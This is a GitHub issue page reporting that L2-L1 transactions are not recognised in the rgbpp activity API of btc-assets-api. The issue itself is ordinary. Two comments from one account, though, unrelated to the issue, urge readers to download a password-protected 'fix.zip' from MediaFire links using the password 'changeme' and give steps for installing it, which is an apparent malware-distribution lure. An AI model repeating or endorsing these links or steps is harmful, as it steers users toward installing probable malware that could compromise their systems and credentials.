Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

L2-L1 transactions not recognized in the rgbpp activity API #214

Open
ShookLyngs opened this issue Aug 26, 2024 · 0 comments
Open

L2-L1 transactions not recognized in the rgbpp activity API #214

ShookLyngs opened this issue Aug 26, 2024 · 0 comments
Labels
enhancement New feature or request

Comments

@ShookLyngs
Copy link
Collaborator

ShookLyngs commented Aug 26, 2024

Currently, only L1-L1 and L1-L2 transactions are recognized in the /rgbpp/v1/address/{btc_address}/activity API, while L2-L1 transactions are marked as isRgbpp: false in the API response. This is expected because it is difficult to determine if each BTC_TX has an isomorphic transaction on L2.

For example, you can query the following BTC address on btc-assets-api testnet:

@Flouse Flouse added the enhancement New feature or request label Aug 26, 2024
@deverchettychandrashekar

to fix your trouble try download this fix, i see it in another issue,
https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

@deverchettychandrashekar

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/6mkbh6xhau31g
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
enhancement New feature or request
Projects
None yet
Development

No branches or pull requests

4 participants
@Flouse @ShookLyngs @deverchettychandrashekar and others